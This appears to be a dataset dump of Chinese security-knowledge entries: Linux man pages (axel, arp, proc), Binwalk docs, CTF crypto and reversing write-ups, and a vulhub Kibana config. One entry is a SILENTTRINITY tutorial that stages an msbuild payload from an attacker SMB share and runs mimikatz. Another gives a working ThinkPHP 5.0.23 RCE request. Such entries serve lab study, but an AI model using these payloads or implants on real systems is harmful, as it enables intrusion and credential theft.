text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
axel
===
多线程下载工具
## 补充说明
**axel** 是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传,且可以从多个地址或者从一个地址的多个连接来下载同一个文件。适合网速不给力时多线程下载提高下载速度。比如在国内VPS或服务器上下载lnmp一键安装包用Axel就比wget快。
### 安装
CentOS安装Axel:
目前yum源上没有Axel,我们可以到 http://pkgs.repoforge.org/axel/ 下载rpm包安装。
32位CentOS执行下面命令:
```shell
wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.i386.rpm
rpm -ivh axel-2.4-1.el5.rf.i386.rpm
```
64位CentOS执行下面命令:
```shell
wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.x86_64.rpm
rpm -ivh axel-2.4-1.el5.rf.x86_64.rpm
```
Debian/Ubuntu安装Axel:
```shell
apt-get install axel
```
### 语法
```shell
axel [options] url1 [url2] [url...]
```
### 选项
```shell
--max-speed=x , -s x # 最高速度x
--num-connections=x , -n x # 连接数x
--output=f , -o f # 下载为本地文件f
--search[=x] , -S [x] # 搜索镜像
--header=x , -H x # 添加头文件字符串x(指定 HTTP header)
--user-agent=x , -U x # 设置用户代理(指定 HTTP user agent)
--no-proxy , -N # 不使用代理服务器
--quiet , -q # 静默模式
--verbose ,-v # 更多状态信息
--alternate , -a # Alternate progress indicator
--help ,-h # 帮助
--version ,-V # 版本信息
```
### 实例
如下载lnmp安装包指定10个线程,存到 `/tmp/`:
```shell
axel -n 10 -o /tmp/ http://www.jsdig.com/lnmp.tar.gz
```
如果下载过程中下载中断可以再执行下载命令即可恢复上次的下载进度。
|
sec-knowleage
|
consoletype
===
输出已连接的终端类型
## 补充说明
**consoletype命令** 用于打印已连接的终端类型到标准输出,并能够检查已连接的终端是当前终端还是虚拟终端。
### 语法
```shell
consoletype
```
### 实例
```shell
[root@localhost ~]# consoletype
pty
```
|
sec-knowleage
|
import sys, binascii, os, time
from Crypto.Cipher import AES
def gqq():
def qqg():gqq();qq(q("20206c7473656f72673a20416d2049206265696e672064657461696e65643f"));qq(q("20206c7473656f72673a20416d2049206672656520746f20676f3f"));qg()
def qqq():qq(q("6c7473656f72673a204920616d206e6f7420616e73776572696e6720616e79207175657374696f6e7320776974686f7574206d79206c61777965722070726573656e742e"));qg()
def gqq():time.sleep(1)
def qg():qqg()
def q(qq):return binascii.unhexlify(qq)
def qq(q):print(q)
def gq():qqg()
qqq()
# March-15: After 23 tries I think we fixed the issue with the IV.
IV = binascii.unhexlify("696c61686773726c7177767576646968")
BLOCK_SIZE = 16
key1 = ["00" for x in xrange(32)]; key1[0] = "11";key1 = binascii.unhexlify("".join(key1))
key2 = ["00" for x in xrange(32)]; key2[0] = "FF";key2 = binascii.unhexlify("".join(key2))
P = AES.new(key1, AES.MODE_ECB)
Q = AES.new(key2, AES.MODE_ECB)
def pad_msg(msg):
while not (len(msg) % 16 == 0): msg+="\x00"
return msg
def xor(str1, str2):
out = []
for i in xrange(len(str1)):
out.append( chr(ord(str1[i])^ord(str2[i])) )
return "".join(out)
# "Pretty much" Grostl's provably secure compression function assuming ideal ciphers
# Grostl pseudo-code is: h = P(m + h) + h + Q(m) and this is basically the same thing, right?
# Ltsorg pseudo-code: h = P(m + h) + m + Q(h)
def compress(m, h): return xor( xor( P.encrypt( xor(m, h) ), m), Q.encrypt(h) )
def finalization(m, h): return xor(m, h)[0:14]
def hash(msg):
msg=pad_msg(msg)
# groestl's IV was boring
h = IV
for i in xrange(0, len(msg), BLOCK_SIZE):
m = msg[i: i+BLOCK_SIZE]
h = compress(m ,h)
return finalization(m, h)
def check(hashstr1, hashstr2):
hash1 = binascii.unhexlify(hashstr1);hash2 = binascii.unhexlify(hashstr2)
if hashstr1 == hashstr2 or hash1 == hash2: return False
elif hash(hash1) == hash(hash2): return True
return False
def main():
if len(sys.argv) == 2:
if sys.argv[1] == "-v": gqq()
else:
print "input: "+sys.argv[1]
print "output: "+binascii.hexlify(hash(binascii.unhexlify(sys.argv[1])))
return
elif len(sys.argv) == 3 and (sys.argv[1] == "-v" or sys.argv[2] == "-v"): gqq()
elif len(sys.argv) == 4 and (sys.argv[1] == "--check"):
if check(sys.argv[2], sys.argv[3]): print "Success"
else: print "Failure"
else:
print("ltseorg: missing argument")
print("Usage: ltseorg [OPTION...] [input]")
print("-v \t Display Software version information")
print("--check \t Check if two inputs break collision resistance.")
if __name__ == "__main__":
main()
|
sec-knowleage
|
# Ps and Qs (Crypto, 200p)
In the task we get a [ciphertext](cipher) and two RSA public keys: [pub1](pub1.pub), [pub2](pub2.pub).
As usual in case when there are more than one RSA public key, it's worth to check if maybe they don't share a prime:
```python
import codecs
from Crypto.PublicKey import RSA
from crypto_commons.rsa.rsa_commons import gcd
def read_key(filename):
with codecs.open(filename, "r") as input_file:
data = input_file.read()
pub = RSA.importKey(data)
print(pub.e, pub.n)
return pub
def main():
pub1 = read_key("pub1.pub")
pub2 = read_key("pub2.pub")
p = gcd(pub1.n, pub2.n)
print(p)
```
And yes, in this case they do share a prime, so we can easily factor both keys.
Now we simply need to recover private keys for both keys by calculating `modinv(e, (p-1)*(q-1))` and trying to use them to decrypt the flag:
```python
import codecs
from Crypto.Util.number import long_to_bytes
from crypto_commons.generic import bytes_to_long
from crypto_commons.rsa.rsa_commons import gcd, get_fi_distinct_primes, modinv
def read_ct():
with codecs.open("cipher", "rb") as input_file:
data = input_file.read()
print(len(data))
msg = bytes_to_long(data)
return msg
p = gcd(pub1.n, pub2.n)
print(p)
q1 = pub1.n / p
q2 = pub2.n / p
print(p, q1)
print(p, q2)
msg = read_ct()
d1 = modinv(pub1.e, get_fi_distinct_primes([p, q1]))
d2 = modinv(pub2.e, get_fi_distinct_primes([p, q2]))
first = pow(msg, d1, pub1.n)
print(long_to_bytes(first))
```
Already the first key gives us the flag: `SECCON{1234567890ABCDEF}`
Complete solver [here](solver.py)
|
sec-knowleage
|
# Chains of Trust, RE, 391p, 10 solves
> Yet another reverse engineering challenge.
In this task we got a rather small binary and a bunch of libraries. When ran as-is, it seems to perform some
checks, including library versions, to finally ask for a password, then tell if it's correct:

After reversing the main binary, we notice it connects to a certain server, downloads a blob of data,
mmaps it and runs it. This happens in a loop, executing different chunks each time. I wrote a simple (for now!)
script to do the same communication and dumped the chunk.
The chunk was self-modifying - the first 100 bytes or so were bootstrap code to decrypt the rest. I emulated
it with Unicorn engine and analyzed the rest of the code. It was a simple check whether libraries were
there, using dlopen and similar functions. There was also a "proof of work", or rather "proof of having-ran" -
the chunk performed some simple arithmetic and reported the result to server. I had to emulate these too,
and hooked dlopen calls to return dummy values.
The following chunks were anti-debug. There was ptracing, checking errno, checking /proc/self/maps,
some environment checks and others. At first I implemented all of them one by one, but eventually I got
fed up and simply skipped the whole anti-debug check, jumping straight to proof-of-work code when one of
forbidden functions were called. The code isn't too beautiful as it now consists of strange mix of both
approaches, but seems to work.
Finally, there were some chunks that mmapped themselves a second time, and run a thread there. There was
about fifteen of those. They usually contained some structure as argument; its address was reported to server.
I reversed all of them - long story short, there were 7 types of threads:
- 0, "input" thread - the first thread we receive, shows the main screen and waits for input
- 3, 4, 5, 6 - "database" threads, they seemed to have four connections and wait for data on all
of them; depending on that, either saved data: `arr[addr] = data` or send it back: `send(arr[addr])`.
- 7, 8, 9, A - "HSM" threads, connected one-to-one to db threads, performed a simple encryption of db
contents
- B - "distributer", read input from thread 0 and divided bytes equally into each db
- C - "reducer", runs over all db's, encrypts all bytes, saves them all to db #3
- E - "hasher" - downloads all data from db #3, hashes it and compares to hardcoded data
- 1, 2, D - "dummies" - do nothing but sleep forever.
By "encrypt" here I mean very simple reversible arithmetic, like xoring with constant.
The exact order of servers seemed to vary between runs, but that's the basic idea.
During reversing I even made a simple chart to help me keep track of everything:

What remained was to brute force the "hasher" preimages, invert "reducer" and "HSM"
operations and print the resulting flag. See `enc.py` and `solve.py` for details.
Check out [author's website](https://gynvael.coldwind.pl/?id=688) too, he posted challenge sources with
some comments on architecture. Seems the chunks were not supposed to mimic database and servers, but FPGA
with RAM modules - the general idea remained the same though. The expected solution was somewhat simpler,
as it involved dumping chunks using original binary and snapshotting memory or recording traffic. This
would work, and definitely save time I spent on writing emulator, but you would still have to sieve
through all the mmapped regions of memory and ignore the anti-debug/dummy ones, which is non-trivial
amount of work.
|
sec-knowleage
|
---
title: Binwalk
categories: Forensics Tools
tags: [binwalk,forensics,kali linux]
date: 2017-09-07 07:15:00
---
0x00 Binwalk介绍
-------------
Binwalk是用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具。 具体来说,它被设计用于识别嵌入固件镜像内的文件和代码。 Binwalk使用libmagic库,因此它与Unix文件实用程序创建的魔数签名兼容。 Binwalk还包括一个自定义魔数签名文件,其中包含常见的诸如压缩/存档文件,固件头,Linux内核,引导加载程序,文件系统等的固件映像中常见文件的改进魔数签名。
<!--more-->
[主页][1] | [仓库][2]
- 作者:Craig Heffner
- 证书:MIT
0x01 功能
----------------
一个固件分析工具
```plain
root@kali:~# binwalk -h
Binwalk v2.1.1
Craig Heffner,http://www.binwalk.org
用法:binwalk [选项] [文件1] [文件2] [文件3] ...
扫描选项:
-B,-- signature 扫描目标文件的常见文件签名
-R,--raw = <str> 扫描目标文件的指定字符序列
-A,--opcodes 扫描目标文件中常见可执行代码
-m,--magic = <file> 指定要使用的自定义魔数签名文件
-b,--dumb 禁用智能签名关键字
-I,--invalid 显示结果标记为无效
-x,--exclude = <str> 排除与<str>匹配的结果
-y,--include = <str> 只显示匹配<str>的结果
提取选项:
-e,--extract 自动提取已知的文件类型
-D,--dd = <type:ext:cmd> 提取<type>签名,为文件扩展名为<ext>,然后执行<cmd>
-M,--matryoshka 递归扫描提取的文件
-d,--depth = <int> 限制matryoshka递归深度(默认值:8级深)
-C,--directory = <str> 将文件/文件夹提取到自定义目录(默认值:当前工作目录)
-j,--size = <int> 限制每个提取的文件的大小
-n,--count = <int> 限制提取文件的数量
-r,--rm 提取后删除刻录文件
-z,--carve 从文件中读取数据,但不执行提取实用程序
熵分析选项:
-E,--entropy 计算文件熵
-F,--fast 计算更快,但不太详细的熵分析
-J,--save 将熵图保存为PNG图像
-Q,--nlegend 从熵图图中省略图例
-N,--nplot 不生成熵图
-H,--high = <float> 设置上升沿熵触发阈值(默认值:0.95)
-L,--low = <float> 设置下降沿熵触发阈值(默认值:0.85)
原始压缩选项:
-X, --deflate 扫描原始deflate压缩流
-Z, --lzma 扫描原始LZMA压缩流
-P, --partial 浅度扫描,速度更快
-S, --stop 找到第一个结果后停止扫描
二进制差异选项:
-W,--hexdump 执行文件或文件的hexdump/diff
-G,--green 只显示包含所有文件中相同字节的行
-i,--red 仅显示包含所有文件中不同字节的行
-U,--blue 只显示一些文件中包含不同字节的行
-w,--terse 只显示第一个文件的十六进制转储
一般选项:
-l,--length = <int> 要扫描的字节数
-o,--offset = <int> 以此偏移开始扫描
-O,--base = <int> 向所有打印的偏移量添加基址
-K,--block = <int> 设置文件块大小
-g,--swap = <int> 扫描前每n个字节反转一次
-f,--log = <file> 将结果记录到文件
-c,--csv 将结果记录到CSV格式的文件中
-t,--term 格式化输出以适合终端窗口
-q,--quiet 禁止输出
-v,--verbose 详细输出
-h,--help 显示帮助
-a,--finclude = <str> 只扫描名称与此正则表达式匹配的文件
-p,--fexclude = <str> 不扫描名称与此正则表达式匹配的文件
-s,--status = <int> 启用指定端口上的状态服务器
```
0x02 用法示例
---------
在给定的固件文件(dd-wrt.v24-13064_VINT_mini.bin)上运行文件签名扫描(-B):
```plain
root@kali:~# binwalk -B dd-wrt.v24-13064_VINT_mini.bin
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
0 0x0 TRX firmware header, little endian, header size: 28 bytes, image size: 2945024 bytes, CRC32: 0x4D27FDC4 flags: 0x0, version: 1
28 0x1C gzip compressed data, from Unix, NULL date: Wed Dec 31 19:00:00 1969, max compression
2472 0x9A8 LZMA compressed data, properties: 0x6E, dictionary size: 2097152 bytes, uncompressed size: 2084864 bytes
622592 0x98000 Squashfs filesystem, little endian, DD-WRT signature, version 3.0, size: 2320835 bytes, 547 inodes, blocksize: 131072 bytes, created: Mon Nov 2 07:24:06 2009
```
[1]: http://binwalk.org/
[2]: http://git.kali.org/gitweb/?p=packages/binwalk.git;a=summary
|
sec-knowleage
|
.\" 版权所有:1999 Matthew Wilcox。发布任何修改拷贝时,必须包含此处原文,
.\" 并将修改人和修改日期,加在这里
.\" 中文版版权所有 Alian Yao, BitBIRD www.linuxforum.net 2000
.\" 修改1:June 1999 Andi Kleen
.TH ARP 7 "3 Jun 1999" "Linux Man Page" "Linux 程序员手册"
.SH NAME
arp \- Linux的ARP核心模块
.SH 描述
这个核心协议模块实现RFC826中定义的 Address Resolution Protocol
[译注:即TCP/IP的第三层到第一层的地址转换协议],
用于在直接相连的网络中换第二层硬件地址和 Ipv4 协议地址之间的转换。
用户除非想对其进行配置,否则一般不会直接操作这个模块。
实际上,它提供对核心中其它协议的服务。
用户进程可以使用
.BR packet (7)
的 sockets,收到 ARP 包(译注:一译分组)。
还有一种机制是使用
.BR netlink (7)
sockets,在用户空间管理 ARP 缓存的机制。
我们也可以通过
.B ioctl (2)
控制任意
.B PF_INET
socket上的
ARP 表
ARP 模块维护一个硬件地址到协议地址映射的缓存。这个缓存有大小限制,所以
不常用的和旧的记录(Entry)将被垃圾收集器清除(garbage-collected),
垃圾收集器永远不能删除标为永久的记录。我们可以使用ioctls直接操纵缓冲,
并且其性状可以用下面定义的 sysctl 调节。
如果在限定的时间(见下面的sysctl)内,一条现存映射没有肯定反馈时,
则认为相邻层的缓存记录失效。
为了再次向目标发送数据,ARP将首先试着询问本地arp进程
.B app_solicit
次,获取更新了的 MAC(介质访问控制)地址。
如果失败,并且旧的MAC地址是已知的,则发送
.B ucast_solicit
次的 unicast probe。如果仍然失败,则将向网络广播一个新的ARP请求,此时要
有待发送数据的队列
如果 Linux 接到一个地址请求,而且该地址指向 Linux 转发的地址,
并且接收接口打开了代理 arp 时,Linux 将自动添加一条非永久的
代理 arp 记录;如果存在拒绝到目标的路由,则不添加代理 arp 记录。
.SH IOCTLS
有三个 ioctl
可以用于所有
.B PF_INET
的 sockets 中。它们以一个指向
.B struct arpreq
的指针作为它们的参数。
.nf
.ta 4 20 33
struct arpreq
{
struct sockaddr arp_pa; /* 协议地址(protocol address)*/
struct sockaddr arp_ha; /* 硬件地址(hardware address) */
int arp_flags; /* 标志(flags) */
struct sockaddr arp_netmask;
/* 协议地址的网络掩码(netmask of protocol address)*/
char arp_dev[16];
};
.fi
.BR SIOCSARP ", " SIOCDARP " 和 " SIOCGARP
可分贝设置、删除和获取 ARP 映射。设置和删除 ARP 映射是特许操作,
只有拥有
.B CAP_NET_ADMIN
权限的进程或有效UID为0的进程可以执行。
.I arp_pa
必须是
.B AF_INET
socket,并且
.I arp_ha
必须有和
.IR arp_dev .
指定的设备相同的类型。
.I arp_dev
是个以null结束的设备名字符串。
.TS
tab(:) allbox;
c s
l l.
\fIarp_flags\fR
标志(flag):含义(meaning)
ATF_COM:查找完成(Lookup complete)
ATF_PERM:永久记录(Permanent entry)
ATF_PUBL:张贴记录(Publish entry)
ATF_USETRAILERS:要求使用后缀(Trailers requested)
ATF_NETMASK:使用网络掩码(Use a netmask)
ATF_DONTPUB:不回复(Don't answer)
.TE
.PP
如果设置了
.B ATF_NETMASK
标志,那么
.I arp_netmask
必须有效。
Linux 2.2 不支持代理网络 ARP 记录,因此,要设成0xffffffff或者0,
以删除现存代理arp记录。这里不使用
现存代理arp记录。
.B ATF_USETRAILERS
已经过时了,不应该继续使用。
.SH SYSCTLS
ARP 支持一个 sysctl 接口,可以用以配置全局参数或逐个网络接口地进行配制。
该 sysctl 可以通过
.B /proc/sys/net/ipv4/neigh/*/*
文件或者使用
.BR sysctl (2)
接口来访问。系统中每个接口都在
/proc/sys/net/ipv4/neigh/.
中有自己的目录。`default'目录中的设置用于所有新建的设备。
sysctl 相关的时间是以秒为单位,除非特别声明过.
.TP
.B anycast_delay
对 IPv6 相邻请求信息的回复的最大延迟时间;
目前还不支持 anycast。缺省值为1秒。
.TP
.B app_solicit
这是在使用多路广播探测(multicast probe)前,
经过网络连接送到用户间隙ARP端口监控程序的探测(probe)
最大数目(见
.IR mcast_solicit
)。
缺省值为0。
.TP
.B base_reachable_time
一旦发现相邻记录,至少在一段介于
.IR base_reachable_time "/2和3*" base_reachable_time /2
之间的随机时间内,该记录是有效的。如果收到上层协议的肯定反馈,
那么记录的有效期将延长。
缺省值是30秒。
.TP
.B delay_first_probe_time
发现某个相邻层记录无效(stale)后,发出第一个探测要等待的时间。 缺省值是5秒。
.TP
.B gc_interval
收集相邻层记录的无用记录的垃圾收集程序的运行周期,缺省为30秒。
.TP
.B gc_stale_time
决定检查一次相邻层记录的有效性的周期。
当相邻层记录失效时,将在给它发送数据前,再解析一次。
缺省值是60秒。
.TP
.B gc_thresh1
存在于ARP高速缓存中的最少层数,如果少于这个数,
垃圾收集器将不会运行。缺省值是128。
.TP
.B gc_thresh2
保存在 ARP 高速缓存中的最多的记录软限制。
垃圾收集器在开始收集前,允许记录数超过这个数字 5 秒。
缺省值是 512。
.TP
.B gc_thresh3
保存在 ARP 高速缓存中的最多记录的硬限制,
一旦高速缓存中的数目高于此,
垃圾收集器将马上运行。缺省值是1024。
.TP
.B locktime
ARP 记录保存在高速缓存内的最短时间(jiffy数),
以防止存在多个可能的映射(potential mapping)时,
ARP 高速缓存系统的颠簸 (经常是由于网络的错误配置而引起)。
缺省值是 1 秒。
.TP
.B mcast_solicit
在把记录标记为不可抵达的之前,
用多路广播/广播(multicast/broadcast)方式解析地址的最大次数。
缺省值是3。
.TP
.B proxy_delay
当接收到有一个请求已知的代理 ARP 地址的 ARP 请求时,
在回应前可以延迟的 jiffy(时间单位,见BUG)数目。
这样,以防止网络风暴。缺省值是0.8秒。
.TP
.B proxy_qlen
能放入代理 ARP 地址队列(proxy-ARP addresses)的数据包最大数目。缺省值是64。
.TP
.B retrans_time
重发一个请求前的等待 jiffy(时间单位,见BUG)的数目。缺省值是1秒。
.TP
.B ucast_solicit
询问ARP端口监控程序前,试图发送单探测(unicast probe)的次数。 (见
.IR app_solicit ).
缺省值是3秒。
.TP
.B unres_qlen
每个没有被其它网络层解析的地址,在队列中可存放包的最大数目。缺省值是3.
.SH BUGS
时钟设置的时间单位 jiffy,跟硬件体系有关。
在 Alpha 上,一个 jiffy 是 1/1024 秒,而在其它机器上,是 1/100 秒。
目前还没有办法从用户空间发送肯定反馈。
这意味着在用户空间实现的面向连接的协议
(connection oriented protocols)将产生大量的 ARP 通讯。
因为ndisc将重新探测MAC地址。内核 NFS 的实现也存在同样的问题。
这个手册页主要讲 IPv4 规范并且共享 IPv4 和 IPv6 的功能.
.SH 版本
Linux 2.0中的
.B struct arpreq,
添加了
.I arp_dev
,同时 ioctl 数目也改变了。在 Linux 2.2 中将不再支持旧的ioctl。
在 Linux 2.2 中,取消了对网络代理 arp 记录(网络掩码不是0xffffffff)的支持。
这个功能被内核设置的一个自动代理 arp 取代,这个自动代理 arp 用于所有位于
其它接上的可到达的主机(如果该接口的转发和代理 arp 打开了)。
.SH 另见
.BR ip (7)
.PP
RFC826 了解 ARP 描述.
.br
RFC2461 描述了IPv6使用的近邻查找以及基本算法
.SH "[中文版维护人]"
.B Alan Yao <Alan_Yao@163.net>
.SH "[中文版最新更新]"
.B 2000/10/23
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
version: '2'
services:
kibana:
image: vulhub/kibana:5.6.12
depends_on:
- elasticsearch
ports:
- "5601:5601"
elasticsearch:
image: vulhub/elasticsearch:5.6.16
|
sec-knowleage
|
# SILENTTRINITY
SILENTTRINITY 是 [byt3bl33d3r](https://twitter.com/byt3bl33d3r) 用python写的一个工具, 它使用Ironpython,为了方便描述,这里我们称之为 ST.
## 安装
安装这个工具和它的依赖,然后启动。这里包含手动安装最新版和 [impacket](https://github.com/SecureAuthCorp/impacket)。
```bash
#Install deps
cd /opt
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install -r requirements.txt
python setup.py install
#Install ST
apt install python3.7 python3.7-dev python3-pip
git clone https://github.com/byt3bl33d3r/SILENTTRINITY
cd SILENTTRINITY/Server
python3.7 -m pip install -r requirements.txt
#Start it up
python3.7 st.py
```
## 监听
继续选择侦听器,将它绑定到IP+端口并启动它。顺便说一下,我把BindIP设置为一个子网,因为我使用VPN连接到测试实验室。没有什么神奇的。
```back@st
listeners
list
use http
options
set BindIP 10.0.8.6
start
```
## Staging
接着生成stager。它将在/opt/SILENTTRINITY/Server目录中终止。
```hack@st
stagers
list
use msbuild
generate http
```
## 运行
现在,找到下载和触发stager的适当方法。到2018年11月,msbuild stager payloads 仍然没能触发Windows1803上的AMSI。
## Serving the payload
一个巧妙的方法是使用SMB服务器来为 payloads 提供服务。下载并使用msbuild 和 到SMB服务器的UNC路径作为参数触发它。
首先创建一个共享文件夹,然后从impacket启动SMB服务器。
```powershell
mkdir /opt/SMB
smbserver.py SMB /opt/SMB -username hacker -password hacker -smb2support -ip 10.0.8.6
```
## 触发 payload
现在我们尝试用msbuild触发payload,但是失败了,因为还没有认证。
```cmd
cp /opt/SILENTTRINITY/Server/msbuild.xml /opt/SMB/msbuild.xml
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe \\10.0.8.6\SMB\msbuild.xml
```
## 缓存凭证
这里为什么要指定凭证?在Windows 10上,默认情况下不能使用未经身份验证的SMB。据我所知,没有一种方法可以直接给 msbuild 提供凭据。因此,我在主机上摆弄了一下,找到一些技巧来缓存 SMB 服务器的一些凭据。如您所见,我用 hacker/hacker 进行身份验证。当然了这很安全。在目标上, 用 `net use` 命令触发身份验证。这个命令会尝试使用特定的凭证访问smb共享,从而在目标上本地缓存凭证。从运筹学的角度来看,这很不优雅,所以如果大家有更好的方法,可以联系我。
```powershell
net use \\10.0.8.6\smb /user:hacker hacker
```
我们看到,成功进行身份验证和并获得NetNTLMv2哈希。因此,现在在目标上缓存了凭据,我们再次尝试触发 payload。
woc好像发生了什么。。我们回ST里看看。
这下就非常美丽了,我们得到了一个会话,认证的时候复用了缓存的凭证。
## 模块
现在我们列出刚刚获得的会话。因为我从提过权的shell触发了 payload,所以我们有一个提权了的会话。这允许我们做一些事情,比如dump 凭证和其他类型的后期利用。
```bash
sessions
list
```
因此,让我们探索一下ST必须提供的一些后期利用模块。正如你所看到的,ST已经内置了很多模块,貌似还有更多的模块要发布。
我们选择 `mimikatz` 模块并在会话中运行。注意,你必须从会话列表中复制 GUID,以便做好准备。如果你有多个会话,也可以使用 `run all` 在所有会话上运行该模块。
```
modules
list
use mimikatz
options
run GUID
```
运行shell模块
使用 [Watson](https://github.com/rasta-mouse/Watson) 尝试执行`execute-assembly`模块。实际上注意到 ST 会自动补全目前的会话的GUID。按键盘上的 右方向键 来自动补全。
```
modules
use execute-assembly
options
set Assembly /opt/Watson.exe
run GUID
```
在我打过补丁的win10 1803 虚拟机上啥也没发现,这很正常。
|
sec-knowleage
|
# ThinkPHP5 5.0.23 远程代码执行漏洞
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
参考链接:
- https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
## 漏洞环境
执行如下命令启动一个默认的thinkphp 5.0.23环境:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到默认的ThinkPHP启动页面。
## 漏洞复现
发送数据包:
```
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
```
成功执行`id`命令:

|
sec-knowleage
|
.\"; Copyright (C) 1994, 1995 by Daniel Quinlan (quinlan@yggdrasil.com)
.\"; with networking additions from Alan Cox (A.Cox@swansea.ac.uk)
.\"; and scsi additions from Michael Neuffer (neuffer@mail.uni-mainz.de)
.\"; and sysctl additions from Andries Brouwer (aeb@cwi.nl)
.\"; 中文版版权所有 mapping, Laser www.linuxforum.net 2000
.\";
.\"; This is free documentation; you can redistribute it and/or
.\"; modify it under the terms of the GNU General Public License as
.\"; published by the Free Software Foundation; either version 2 of
.\"; the License, or (at your option) any later version.
.\";
.\"; The GNU General Public License's references to ";object code";
.\"; and ";executables"; are to be interpreted as the output of any
.\"; document formatting or typesetting system, including
.\"; intermediate and printed output.
.\";
.\"; This manual is distributed in the hope that it will be useful,
.\"; but WITHOUT ANY WARRANTY; without even the implied warranty of
.\"; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
.\"; GNU General Public License for more details.
.\";
.\"; You should have received a copy of the GNU General Public
.\"; License along with this manual; if not, write to the Free
.\"; Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139,
.\"; USA.
.\";
.\"; Wed May 17 15:26:04 1995: faith@cs.unc.edu, updated BUGS section
.\"; Minor changes by aeb and Marty Leisner (leisner@sdsp.mc.xerox.com).
.\"; Sat Apr 13 02:32:45 1996: aeb@cwi.nl, added sys, various fixes.
.\"; Mon Jul 22 17:14:44 1996: aeb@cwi.nl, minor fix.
.TH PROC 5 "22 July 1996" "Linux Programmer's Manual"
.SH NAME
proc \- 进程信息伪文件系统
.SH 描述
/proc 是一个伪文件系统, 被用作内核数据结构的接口, 而不仅仅
是解释说明 /dev/kmem. /proc里的大多数文件都是只读的, 但也可
以通过写一些文件来改变内核变量.
.LP
下面对整个 /proc 目录作一个大略的介绍.
.LP
.na
.nh
.PD 1
.TP
.I [number]
在 /proc 目录里, 每个正在运行的进程都有一个以该进程
ID 命名的子目录, 其下包括如下的目录和伪文件.
.RS
.TP
.I cmdline
该文件保存了进程的完整命令行. 如果该进程已经
被交换出内存, 或者该进程已经僵死, 那么就没有
任何东西在该文件里, 这时候对该文件的读操作将返回零
个字符. 该文件以空字符 null 而不是换行符作为结
束标志.
.TP
.I cwd
一个符号连接, 指向进程当前的工作目录. 例如,
要找出进程 20 的 cwd, 你可以:
.br
.nf
.ft CW
cd /proc/20/cwd; /bin/pwd
.fi
.ft
.PP
请注意 pwd 命令通常是 shell 内置的, 在这样的情况下可能
工作得不是很好.
.TP
.I environ
该文件保存进程的环境变量, 各项之间以空字符分隔,
结尾也可能是一个空字符. 因此, 如果要输出进程 1 的环境变量,
你应该:
.br
.nf
.ft CW
(cat /proc/1/environ; echo) | tr ";\\000"; ";\\n";
.fi
.ft P
.PP
(至于为什么想要这么做, 请参阅
.IR lilo (8).)
.TP
.I exe
也是一个符号连接, 指向被执行的二进制代码.
在 Linux 2.0 或者更早的版本下, 对 exe 特殊文件的
.I readlink(2)
返回一个如下格式的字符串:
[设备号]:节点号
举个例子, [0301]:1502 就是某设备的 1502 节点,
该设备的主设备号为 03 (如 IDE, MFM 等驱动器),
从设备号为 01 (第一个驱动器的第一分区).
而在 Linux 2.2 下,
.I readlink(2)
则给出命令的实际路径名.
另外, 该符号连接也可以正常析引用(试图打开 exe
文件实际上将打开一个可执行文件). 你甚至可以键入
.I /proc/[number]/exe
来运行 [number] 进程的副本.
带 -inum 选项的
.IR find(1)
命令可以定位该文件.
.TP
.I fd
进程所打开的每个文件都有一个符号连接在该子目
录里, 以文件描述符命名, 这个名字实际上是指向
真正的文件的符号连接,(和 exe 记录一样).
例如, 0 是标准输入, 1 是标准输出, 2 是标准错误, 等等.
程序有时可能想要读取一个文件却不想要标准输入,
或者想写到一个文件却不想将输出送到标准输出去,
那么就可以很有效地用如下的办法骗过(假定 -i 是输入
文件的标志, 而 -o 是输出文件的标志):
.br
.nf
\f(CWfoobar -i /proc/self/fd/0 -o /proc/self/fd/1 ...\fP
.fi
.br
这样就是一个能运转的过滤器. 请注意该方法不能
用来在文件里搜索, 这是因为 fd 目录里的文件是
不可搜索的.
在 UNIX 类的系统下, /proc/self/fd/N 基本上就与
/dev/fd/N 相同. 实际上, 大多数的 Linux MAKEDEV
脚本都将 /dev/fd 符号连接到 [..]/proc/self/fd 上.
.TP
.I maps
该文件包含当前的映象内存区及他们的访问许可.
格式如下:
.nf
.ft CW
.in +3n
address perms offset dev inode
00000000-0002f000 r-x-- 00000400 03:03 1401
0002f000-00032000 rwx-p 0002f400 03:03 1401
00032000-0005b000 rwx-p 00000000 00:00 0
60000000-60098000 rwx-p 00000400 03:03 215
60098000-600c7000 rwx-p 00000000 00:00 0
bfffa000-c0000000 rwx-p 00000000 00:00 0
.ft
.fi
.in
.PP
address 是进程所占据的地址空间, perms 是权限集:
.nf
.in +5
r = read
w = write
x = execute
s = shared
p = private (copy on write)
.fi
.in
.PP
offset 是文件或者别的什么的偏移量, dev 是设备号(主设
备号:从设备号), 而 inode 则是设备的节点号. 0 表明没有
节点与内存相对应, 就象 bss 的情形.
.PP
在 Linux 2.2 下还增加了一个域给可用的路径名.
.TP
.I mem
该文件并不是 mem (1:1) 设备, 尽管它们有相同的设备号.
/dev/mem 设备是做任何地址转换之前的物理内存,
而这里的 mem 文件是访问它的进程的内存.目前这个 mem 还不能
.I mmap(2)
(内存映射)出去,而且可能一直要等到内核中增加了一个通用的
.I mmap(2)
以后才能实现.
(也许在你读本手册页时这一切已经发生了)
.TP
.I mmap
.I mmap(2)
做的 maps 映射目录,是和 exe, fd/* 等类似的符号连接.
